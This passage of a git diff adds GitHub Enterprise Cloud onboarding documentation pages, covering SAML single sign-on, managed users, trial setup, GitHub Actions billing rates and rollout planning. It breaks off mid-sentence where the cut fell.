start a free trial of today. diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on.md new file mode 100644 index 000000000000..773d6c5f6f6a --- /dev/null +++ b/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-enterprise-resources-with-single-sign-on.md @@ -0,0 +1,31 @@ +--- +title: Securing enterprise resources with single sign-on +intro: 'Learn how to set up secure sign-on for organizations in your enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise +shortTitle: Secure sign-on +--- + +This article applies to enterprises that use **personal accounts**. If you use personal accounts, enabling SSO is an optional step you can take to secure your enterprise's resources. + +If your enterprise uses **managed users**, SSO is mandatory, and all managed user accounts must authenticate through your identity provider (IdP) to sign in to {% data variables.product.github %}. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users). + +{% data reusables.saml.dotcom-saml-explanation %} See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-saml-for-enterprise-iam). + +You can configure SAML for your enterprise account to apply the same settings to all organizations, or you can configure settings for individual organizations. See [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations). + +You can enable SAML SSO and centralized authentication through a SAML IdP across all organizations owned by your enterprise account. See [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). + +## Supported identity providers + +{% data reusables.saml.saml-supported-idps %} + +For more information about connecting Microsoft Entra ID (previously known as Azure AD) to your enterprise, see [Tutorial: Microsoft Entra SSO integration with GitHub Enterprise Cloud - Enterprise Account](https://learn.microsoft.com/en-us/entra/identity/saas-apps/github-enterprise-cloud-enterprise-account-tutorial) in Microsoft Docs. + +## Next steps + +Next, learn how to set up an organization in your enterprise. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users.md new file mode 100644 index 000000000000..a669e4d89296 --- /dev/null +++ b/content/enterprise-onboarding/getting-started-with-your-enterprise/securing-your-enterprise-with-managed-users.md @@ -0,0 +1,35 @@ +--- +title: Securing your enterprise with Managed Users +intro: 'Learn about Enterprise Managed Users.' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise +shortTitle: Managed users +--- + +With {% data variables.product.prodname_emus %}, you manage the lifecycle and authentication of your users on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} from an external identity management system, or IdP: + +* Your IdP **provisions new user accounts** on {% data variables.product.prodname_dotcom %}, with access to your enterprise. +* Users must **authenticate on your IdP** to access your enterprise's resources on {% data variables.product.prodname_dotcom %}. +* You control **usernames, profile data, organization membership, and repository access** from your IdP. +* If your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will validate access to your enterprise and its resources using your IdP's **Conditional Access Policy (CAP)**. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy). +* {% data variables.enterprise.prodname_managed_users_caps %} **cannot create public content** or collaborate outside your enterprise. See [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts). + +See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users). + +## Get started with managed users + +To use {% data variables.product.prodname_emus %}, you will: + +* Configure authentication using SAML or OIDC +* Configure SCIM provisioning +* Provision users to your enterprise + +To get started, see [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). + +## Next steps + +Next, learn how to set up an organization in your enterprise. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization). diff --git a/content/enterprise-onboarding/getting-started-with-your-enterprise/setting-up-a-trial-of-github-enterprise.md b/content/enterprise-onboarding/getting-started-with-your-enterprise/setting-up-a-trial-of-github-enterprise.md new file mode 100644 index 000000000000..d46310d13289 --- /dev/null +++ b/content/enterprise-onboarding/getting-started-with-your-enterprise/setting-up-a-trial-of-github-enterprise.md @@ -0,0 +1,94 @@ +--- +title: Setting up a trial of GitHub Enterprise +intro: 'Learn what is included in the {% data variables.product.prodname_ghe_cloud %} trial, and how to get started.' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise +shortTitle: Setting up a trial +--- + +{% data reusables.enterprise.about-ghec %} See [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-github-enterprise-cloud). + +You can set up a trial to evaluate features that require {% data variables.product.prodname_ghe_cloud %}, such as SAML single sign-on (SSO) and {% data variables.product.prodname_GH_advanced_security %}. For a full list of available features, see our [Pricing](https://github.com/pricing) page. + +Your trial **won't** include {% data variables.enterprise.data_residency_short %} on {% data variables.enterprise.data_residency_site %} or access to {% data variables.product.prodname_ghe_server %}. To test these features, contact {% data variables.contact.contact_enterprise_sales %}. + +To set up a trial, you must be signed in to a personal account. If you don't have a personal account, see [AUTOTITLE](/free-pro-team@latest/get-started/start-your-journey/creating-an-account-on-github). + +## What is included in the trial? + +The trial lasts for **{% data reusables.enterprise.ghec-trial-length %} days** and includes the following features. + +* Access to **most** {% data variables.product.prodname_ghe_cloud %} features.{% ifversion metered-ghe-ghas %} +* {% data variables.product.prodname_copilot_for_business %} +* {% data variables.product.prodname_GH_advanced_security %} +* Access to the **new billing platform**. See [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-new-billing-platform-for-enterprises).{% endif %} +* An **enterprise account**, which allows you to manage multiple organizations. See [AUTOTITLE](/enterprise-cloud@latest/get-started/learning-about-github/types-of-github-accounts). +* Up to **50 licenses** to grant access to users. + +## Features not included in the trial + +* {% data variables.product.prodname_github_codespaces %} +* {% data variables.product.prodname_copilot_enterprise %} +* {% data variables.product.prodname_sponsors %} +* Paid {% data variables.product.prodname_marketplace %} apps +* {% data variables.product.prodname_github_connect %} +* {% data variables.large_files.product_name_long %} +* For {% data variables.product.prodname_actions %}, increased minutes, job concurrency, and {% data variables.actions.hosted_runners %} + +If you invite an existing organization into your trial enterprise, **all of these features will be disabled**. If you remove the organization from the enterprise, the features will be re-enabled. + +## Do I need to provide a payment method? + +You do not need to provide a payment method to start a trial. If you want to use {% data variables.product.prodname_copilot_business_short %} during the trial, you need to provide a credit card. You **won't** be charged for using {% data variables.product.prodname_copilot_business_short %} during the trial. + +## Setting up a trial + +Go to the trial page and follow the instructions to sign up for the trial. + +Try {% data variables.product.prodname_ghe_cloud %} {% octicon "link-external" height:16 %} + +When setting up your trial of GitHub Enterprise Cloud, you'll choose an enterprise type. + +* Enterprise with personal accounts +* Enterprise with managed users + +To help you decide which choice is best for your enterprise, see [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud). + +### Setting up {% data variables.product.prodname_ghe_cloud %} + +You can find full instructions on setting up {% data variables.product.prodname_ghe_cloud %} in the [AUTOTITLE](/enterprise-cloud@latest/get-started/onboarding/getting-started-with-github-enterprise-cloud) guide. + +### Setting up {% data variables.product.prodname_GH_advanced_security %} + +You can find information about planning a trial of {% data variables.product.prodname_GH_advanced_security %} and exploring the additional options available with {% data variables.product.prodname_ghe_cloud %} in the [AUTOTITLE](/code-security/trialing-github-advanced-security) articles. + +### Setting up {% data variables.product.prodname_copilot_for_business %} + +Setting up your {% data variables.product.prodname_copilot_for_business %} trial involves three phases, and each phase must be completed by different people. + +* As an **enterprise owner**, you must first configure {% data variables.product.prodname_copilot_for_business %} for your enterprise. This phase involves setting policies for the use of {% data variables.product.prodname_copilot_for_business %} in your enterprise, and deciding which organizations in your enterprise can use {% data variables.product.prodname_copilot_for_business %}. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise). + +* Next, **organization owners** can enable {% data variables.product.prodname_copilot_for_business %} for their organizations. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization). + +* If your **personal account** has been granted a seat in an organization that has enabled {% data variables.product.prodname_copilot_for_business %}, you can now enable {% data variables.product.prodname_copilot_for_business %} for your personal account. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself). + +## During the trial + +After you set up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the suggested tasks on the "Getting started" tab of your enterprise account. + +You can create up to **three new organizations** in the trial enterprise, or transfer any number of existing organizations. + +* You cannot transfer organizations that have free or paid {% data variables.product.prodname_marketplace %} apps. Free apps are supported for new organizations in the trial. +* Billing for transferred organizations is paused during the trial and any coupons are removed. To reapply a coupon, contact {% data variables.contact.contact_support_page %}. +* Organizations created during the trial cannot be removed from the enterprise account until you purchase {% data variables.product.prodname_enterprise %}. + +For help setting up the included features, once you've started your trial, see [AUTOTITLE](/enterprise-cloud@latest/get-started/onboarding/getting-started-with-the-github-enterprise-cloud-trial). + +## Next steps + +1. To learn more about {% data variables.product.github %}'s enterprise products and options{% ifversion ghec %}, as well as the features available in {% data variables.product.prodname_ghe_cloud %}{% endif %}, see [AUTOTITLE](/admin/overview/about-github-for-enterprises){% ifversion ghec %} and [AUTOTITLE](/enterprise-cloud@latest/admin/overview/feature-overview-for-github-enterprise-cloud){% endif %}. +1. Once you have completed your trial, you can purchase {% data variables.product.prodname_enterprise %} or cancel the trial. See [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions.md new file mode 100644 index 000000000000..7400cdf5ef58 --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions.md @@ -0,0 +1,156 @@ +--- +title: About billing for GitHub Actions +shortTitle: Billing for GitHub Actions +intro: 'Learn about billing for {% data variables.product.prodname_actions %}.' +versions: + ghec: '*' +type: overview +topics: + - Actions + - Spending limits +allowTitleToDifferFromFilename: true +--- + +## About billing for {% data variables.product.prodname_actions %} + +{% data reusables.billing.authorization-charge %} + +{% data reusables.actions.actions-billing %} + +{% data reusables.actions.actions-spending-limit-brief %} For more information, see [About spending limits](#about-spending-limits). + +If you are an organization owner or enterprise owner, you can connect an Azure Subscription ID to your organization or enterprise account to enable and pay for {% data variables.product.prodname_actions %} usage beyond the amounts included with your account. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). + +Minutes reset every month, while storage usage does not. + +### Included storage and minutes + +> [!NOTE] +> * Included minutes cannot be used for larger runners. These runners will always be charged for, including in public repositories. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates). +> * Logs and job summaries do not count towards storage usage. + +|Plan | Storage | Minutes (per month)| +|------- | ------- | ---------| +| {% data variables.product.prodname_free_team %} for organizations | 500 MB | 2,000 | +| {% data variables.product.prodname_team %} | 2 GB | 3,000 | +| {% data variables.product.prodname_ghe_cloud %} | 50 GB | 50,000 | + +The storage used by a repository is the total storage used by {% data variables.product.prodname_actions %} artifacts and {% data variables.product.prodname_registry %}. Your storage cost is the total usage for all repositories owned by organizations in your enterprise. For more information about pricing for {% data variables.product.prodname_registry %}, see [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages). + +If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and per-minute usage depending on the operating system used by the {% data variables.product.prodname_dotcom %}-hosted runner. {% data variables.product.prodname_dotcom %} rounds the minutes and partial minutes each job uses up to the nearest whole minute. + +### Minute multipliers + +Jobs that run on Windows and macOS runners that {% data variables.product.prodname_dotcom %} hosts consume minutes at 2 and 10 times the rate that jobs on Linux runners consume. For example, using 1,000 Windows minutes would consume 2,000 of the minutes included in your account. Using 1,000 macOS minutes, would consume 10,000 minutes included in your account. + +| Operating system | Minute multiplier | +|----------------- | ------------------| +| Linux | 1 | +| Windows | 2 | +| macOS | 10 | + +> [!NOTE] +> Minute multipliers do not apply to the per-minute rates shown below. + +### Per-minute rates + +#### Per-minute rates for standard runners + +| Operating system | Per-minute rate (USD) | +|---------------------------------------| ----------------------| +| Linux 2-core | $0.008 | +| Windows 2-core | $0.016 | +| macOS 3-core or 4-core (M1 or Intel) | $0.08 | + +#### Per-minute rates for x64-powered {% data variables.actions.hosted_runners %} + +| Operating system | Per-minute rate (USD) | +|------------------------| ----------------------| +| Linux Advanced 2-core | $0.008 | +| Linux 4-core | $0.016 | +| Linux 8-core | $0.032 | +| Linux 16-core | $0.064 | +| Linux 32-core | $0.128 | +| Linux 64-core | $0.256 | +| Windows 4-core | $0.032 | +| Windows 8-core | $0.064 | +| Windows 16-core | $0.128 | +| Windows 32-core | $0.256 | +| Windows 64-core | $0.512 | +| Windows 4-core GPU | $0.14 | +| macOS 12-core | $0.12 | + +#### Per-minute rates for arm64-powered {% data variables.actions.hosted_runners %} + +| Operating system | Per-minute rate (USD) | +|---------------------| -----------| +| Linux 2-core | $0.005 | +| Linux 4-core | $0.01 | +| Linux 8-core | $0.02 | +| Linux 16-core | $0.04 | +| Linux 32-core | $0.08 | +| Linux 64-core | $0.16 | +| Windows 2-core | $0.01 | +| Windows 4-core | $0.02 | +| Windows 8-core | $0.04 | +| Windows 16-core | $0.08 | +| Windows 32-core | $0.16 | +| Windows 64-core | $0.32 | +| macOS 6-core (M1) | $0.16 | + +#### Per-minute rates for GPU-powered {% data variables.actions.hosted_runners %} + +| Operating system | Per-minute rate (USD) | +|---------------------| -----------| +| Linux 4-core | $0.07 | +| Windows 4-core | $0.14 | + +#### Points to note about rates for runners + +* The number of jobs you can run concurrently across all repositories in your user or organization account depends on your {% data variables.product.prodname_dotcom %} plan. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration) for {% data variables.product.prodname_dotcom %}-hosted runners and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits) for self-hosted runner usage limits. +* {% data reusables.user-settings.context_switcher %} +* {% data reusables.actions.larger-runner-permissions %} +* {% data reusables.actions.about-larger-runners-billing %} +* For {% data variables.actions.hosted_runner %}s, there is no additional cost for configurations that assign public static IP addresses to a {% data variables.actions.hosted_runner %}. For more information on {% data variables.actions.hosted_runner %}s, see [AUTOTITLE](/actions/using-github-hosted-runners/using-larger-runners/about-larger-runners). +* Included minutes cannot be used for {% data variables.actions.hosted_runner %}s. +* The {% data variables.actions.hosted_runner %}s are not free for public repositories. + +## Calculating minute and storage spending + +{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_actions %} + +At the end of the month, {% data variables.product.prodname_dotcom %} calculates the cost of minutes and storage used over the amount included in your account. + +### Sample minutes cost calculation + +For example, if your organization uses {% data variables.product.prodname_team %} and allows unlimited spending, using 5,000 minutes could have a total storage and minute overage cost of $56 USD, depending on the operating systems used to run jobs. + +* 5,000 (3,000 Linux and 2,000 Windows) minutes = $56 USD ($24 USD + $32 USD). + * 3,000 Linux minutes at $0.008 USD per minute = $24 USD. + * 2,000 Windows minutes at $0.016 USD per minute = $32 USD. + +{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. + +### Sample storage cost calculation + +> [!NOTE] +> {% data variables.product.company_short %} updates your storage space within a 6 to 12-hour window. If you delete artifacts, the available space will be reflected in your account during the next scheduled update. + +For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: + +* 3 GB x 10 days x (24 hours per day) = 720 GB-Hours +* 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours +* 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours +* 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months + +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. + +Your {% data variables.product.prodname_actions %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} + +## About spending limits + +{% data reusables.actions.actions-spending-limit-detailed %} + +For information on managing and changing your account's spending limit, see [AUTOTITLE](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). + +{% data reusables.dotcom_billing.actions-packages-unpaid-account %} diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/about-github-actions-for-enterprises.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/about-github-actions-for-enterprises.md new file mode 100644 index 000000000000..07c8aaf33a9b --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/about-github-actions-for-enterprises.md @@ -0,0 +1,40 @@ +--- +title: About GitHub Actions for enterprises +shortTitle: About GitHub Actions +intro: '{% data variables.product.prodname_actions %} can improve developer productivity by automating your enterprise''s software development cycle.' +versions: + ghec: '*' +type: overview +topics: + - Actions + - Enterprise +allowTitleToDifferFromFilename: true +--- + +## About {% data variables.product.prodname_actions %} for enterprises + +{% data reusables.actions.about-actions-for-enterprises %} + +| Task | More information | +| ---- | ---------------- | +| Automatically test and build your application | [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration) | +| Deploy your application | [AUTOTITLE](/actions/deployment/about-deployments/about-continuous-deployment) | +| Automatically and securely package code into artifacts and containers | [AUTOTITLE](/actions/publishing-packages/about-packaging-with-github-actions) | +| Automate your project management tasks | [AUTOTITLE](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management) | + +{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, pull requests are typically merged faster, allowing teams to merge more pull requests per day. + +You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. For more information, see [AUTOTITLE](/actions/learn-github-actions/finding-and-customizing-actions). + +{% data variables.product.prodname_actions %} is developer friendly, because it's integrated directly into the familiar {% data variables.product.github %} experience. + +You can enjoy the convenience of {% data variables.product.company_short %}-hosted runners, which are maintained and upgraded by {% data variables.product.company_short %}, or you can control your own private CI/CD infrastructure by using self-hosted runners. Self-hosted runners allow you to determine the exact environment and resources that complete your builds, testing, and deployments, without exposing your software development cycle to the internet. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). + +{% data variables.product.prodname_actions %} provides greater control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets.If your workflows need to access resources from a cloud provider that supports OpenID Connect (OIDC), you can configure your workflows to authenticate directly to the cloud provider. OIDC provides security benefits such as eliminating the need to store credentials as long-lived secrets. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). + +{% data variables.product.prodname_actions %} also includes tools to govern your enterprise's software development cycle and meet compliance obligations. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions) to learn about the basics +* [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise) if you're ready to plan your rollout diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md new file mode 100644 index 000000000000..a0300733cfed --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md @@ -0,0 +1,44 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Cloud +shortTitle: Get started +intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.' +versions: + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise +allowTitleToDifferFromFilename: true +--- + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %} + +{% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Managing policies for {% data variables.product.prodname_actions %} + +You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). + +## Adding runners + +To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be billed based on consumption after exhausting the minutes included in your plan, whereas self-hosted runners are free. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). + +For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). + +If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). + +## Provisioning fine-grained permissions for {% data variables.product.prodname_actions %} + +Organization owners and users with the "Manage custom organization roles" permission can provision fine-grained permissions for users and teams in your organization. Provisioning fine-grained permissions for {% data variables.product.prodname_actions %} allows you to practice the principle of least privilege to secure settings in your {% data variables.product.prodname_actions %} CI/CD pipeline. + +{% data reusables.actions.org-roles-for-gh-actions %} + +For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles). + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions) diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/index.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/index.md new file mode 100644 index 000000000000..e89e5c70e5cb --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/index.md @@ -0,0 +1,19 @@ +--- +title: GitHub Actions for your enterprise +intro: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' +versions: + ghec: '*' +topics: + - Administrator + - Enterprise + - Set up + - Actions +children: + - /about-github-actions-for-enterprises + - /understanding-github-actions + - /introducing-github-actions-to-your-enterprise + - /migrating-your-enterprise-to-github-actions + - /getting-started-with-github-actions-for-github-enterprise-cloud + - /security-hardening-for-github-actions + - /about-billing-for-github-actions +--- diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md new file mode 100644 index 000000000000..c1d203152143 --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -0,0 +1,114 @@ +--- +title: Introducing GitHub Actions to your enterprise +shortTitle: Introduce Actions +intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.' +versions: + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise +allowTitleToDifferFromFilename: true +--- + +## About {% data variables.product.prodname_actions %} for enterprises + +{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises). + +Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. + +## Governance and compliance + +You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations. + +Determine which actions and reusable workflows your developers will be allowed to use. First, decide whether you'll allow third-party actions and reusable workflows that were not created by {% data variables.product.company_short %}. You can configure the actions and reusable workflows that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions and reusable workflows, you can limit allowed actions to those created by verified creators or a list of specific actions and reusable workflows. + +For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository), [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization), and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-github-actions-in-your-enterprise). + +Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows). + +You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining this information longer than audit log data is retained, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). + +You can practice the principle of least privilege by administering custom organization roles for access to settings in your {% data variables.product.prodname_actions %} CI/CD pipeline. For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). + +## Security + +You should plan your approach to security hardening for {% data variables.product.prodname_actions %}. + +### Security hardening individual workflows and repositories + +Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions). + +You can also encourage reuse of workflows that have already been evaluated for security. For more information, see [Innersourcing](#innersourcing). + +### Securing access to secrets and deployment resources + +You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider. + +In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). + +You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/using-environments-for-deployment). + +### Security considerations for third-party actions + +There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions). + +### Private networking with GitHub-hosted runners + +{% data reusables.actions.azure-vnet-network-configuration-intro %} For more information, see [AUTOTITLE](/admin/configuration/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise). + +## Innersourcing + +Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource automation. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources. + +{% data reusables.actions.internal-actions-summary %} + +With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). + +To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization). + +## Managing resources + +You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}. + +### Runners + +{% data variables.product.prodname_actions %} workflows require runners. You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.company_short %} manages maintenance and upgrades for {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). + +To manage your own resources, configuration, or geographic location of your runner machines, use self hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). + +If you want more control over the networking policies for your runners, use self-hosted runners or private networking options for {% data variables.product.prodname_dotcom %}-hosted runners. For more information about private networking options, see [AUTOTITLE](/actions/using-github-hosted-runners/connecting-to-a-private-network/about-private-networking-with-github-hosted-runners). + +If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers. Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container. + +You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners) and 